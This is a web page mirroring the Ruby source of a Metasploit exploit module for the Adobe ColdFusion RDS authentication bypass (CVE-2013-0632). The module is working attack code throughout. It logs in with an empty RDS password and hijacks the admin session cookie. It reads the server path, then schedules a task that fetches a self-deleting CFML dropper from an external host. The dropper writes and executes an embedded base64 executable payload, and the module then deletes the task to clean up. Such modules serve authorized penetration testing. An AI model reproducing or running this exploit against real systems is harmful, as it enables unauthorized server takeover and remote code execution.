Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE10include Msf::Module::Deprecated1112moved_from 'exploit/multi/http/coldfusion_rds'1314Rank = GreatRanking1516def initialize(info = {})17super(update_info(info,18'Name' => 'Adobe ColdFusion RDS Authentication Bypass',19'Description' => %q{20Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote21attackers to bypass authentication using the RDS component. Due to22default settings or misconfiguration, its password can be set to an23empty value. This allows an attacker to create a session via the RDS24login that can be carried over to the admin web interface even though25the passwords might be different, and therefore bypassing authentication26on the admin web interface leading to arbitrary code execution. Tested27on Windows and Linux with ColdFusion 9.28},29'Author' =>30[31'Scott Buckel', # Vulnerability discovery32'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module33],34'License' => MSF_LICENSE,35'References' =>36[37[ "CVE", "2013-0632" ],38[ "EDB", "27755" ],39[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]40],41'Privileged' => false,42'Stance' => Msf::Exploit::Stance::Aggressive, #thanks juan!43'Platform' => ['win', 'linux'],44'Targets' =>45[46[ 'Windows',47{48'Arch' => ARCH_X86,49'Platform' => 'win'50}51],52[ 'Linux',53{54'Arch' => ARCH_X86,55'Platform' => 'linux'56}57],58],59'DefaultTarget' => 0,60'DisclosureDate' => '2013-08-08'61))6263register_options(64[65OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),66OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),67])6869register_advanced_options(70[71OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])72])73end7475def check76uri = target_uri.path7778#can we access the admin interface?79res = send_request_cgi({80'method' => 'GET',81'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),82})8384if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')85vprint_good "Administrator access available"86else87return Exploit::CheckCode::Safe88end8990#is it cf9?91res = send_request_cgi({92'method' => 'GET',93'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')94})9596img = Rex::Text.md5(res.body.to_s)97imghash = "596b3fc4f1a0b818979db1cf94a82220"9899if img == imghash100vprint_good "ColdFusion 9 Detected"101else102return Exploit::CheckCode::Safe103end104105#can we access the RDS component?106res = send_request_cgi({107'method' => 'POST',108'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),109'vars_post' => {110'method' => "login",111'adminpassword' => "",112'rdsPasswordAllowed' => "1"113}114})115116if res && res.code == 200 && res.body.include?('true')117return Exploit::CheckCode::Appears118else119return Exploit::CheckCode::Safe120end121end122123def exploit124@pl = gen_file_dropper125@payload_url = ""126127if datastore['EXTURL'].blank?128begin129Timeout.timeout(datastore['HTTPDELAY']) {super}130rescue Timeout::Error131end132exec_payload133else134@payload_url = datastore['EXTURL']135upload_payload136exec_payload137end138end139140def primer141@payload_url = get_uri142upload_payload143end144145def on_request_uri(cli, request)146if request.uri =~ /#{get_resource}/147send_response(cli, @pl)148end149end150151def autofilter152true153end154155#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(156#instead we use a CFML filedropper to embed our payload and execute it.157#this also removes the dependancy of using the probe.cfm to execute the file.158159def gen_file_dropper160rand_var = rand_text_alpha(8+rand(8))161rand_file = rand_text_alpha(8+rand(8))162163if datastore['TARGET'] == 0164rand_file += ".exe"165end166167encoded_pl = Rex::Text.encode_base64(generate_payload_exe)168169print_status "Building CFML shell..."170#embed payload171shell = ""172shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"173shell += " <cffile action=\"write\" output=\"##{rand_var}#\""174shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""175#if linux set correct permissions176if datastore['TARGET'] == 1177shell += " mode = \"700\""178end179shell += "/>"180#clean up our evil .cfm181shell += " <cffile action=\"delete\""182shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"183#execute our payload!184shell += " <cfexecute"185shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""186shell += " arguments = \"\""187shell += " timeout = \"60\"/>"188189return shell190end191192def exec_payload193uri = target_uri.path194195print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")196print_status("Executing payload...")197198res = send_request_cgi({199'method' => 'GET',200'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)201})202end203204def upload_payload205uri = target_uri.path206207@filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea208taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea209210print_status "Trying to upload payload via scheduled task..."211res = send_request_cgi({212'method' => 'POST',213'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),214'vars_post' => {215'method' => "login",216'adminpassword' => "",217'rdsPasswordAllowed' => "1"218}219})220221unless res && res.code == 200222fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")223end224225#deal with annoying cookie data prepending (sunglasses)226cookie = res.get_cookies227228if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/229cookie = $1230else231fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")232end233234res = send_request_cgi({235'method' => 'GET',236'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),237'cookie' => cookie238})239240if res && res.code == 200 && res.body.include?('ColdFusion Administrator')241print_good("Logged in as Administrator!")242else243fail_with(Failure::Unknown, "#{peer} - Login Failed")244end245246#get file path gogo247res = send_request_cgi({248'method' => 'GET',249'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),250'vars_get' => {251'name' => "/CFIDE"252},253'cookie' => cookie254})255256unless res && res.code == 200257fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")258end259260if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/261file_path = $1262print_good("File path disclosed! #{file_path}")263else264fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")265end266267print_status("Adding scheduled task")268res = send_request_cgi({269'method' => 'POST',270'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),271'vars_post' => {272'TaskName' => taskname,273'Start_Date' => "Nov 1, 2420",274'End_Date' => "",275'Interval' => "",276'ScheduleType' => "Once",277'Operation' => "HTTPRequest",278'ScheduledURL' => @payload_url,279'publish' => "1",280'publish_file' => "#{file_path}\\#{@filename}",281'adminsubmit' => "Submit"282},283'cookie' => cookie284})285286unless res && res.code == 200 || res.code == 302 #302s can happen but it still works, http black magic!287fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")288end289290print_status("Running scheduled task")291res = send_request_cgi({292'method' => 'GET',293'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),294'vars_get' => {295'runtask' => taskname,296'timeout' => "0"297},298'cookie' => cookie299})300301if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')302print_good("Scheduled task completed successfully")303else304fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")305end306307print_status("Deleting scheduled task")308res = send_request_cgi({309'method' => 'GET',310'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),311'vars_get' => {312'action' => "delete",313'task' => taskname314},315'cookie' => cookie316})317318unless res && res.code == 200319print_error("Scheduled task deletion failed, cleanup might be needed!")320end321end322end323324325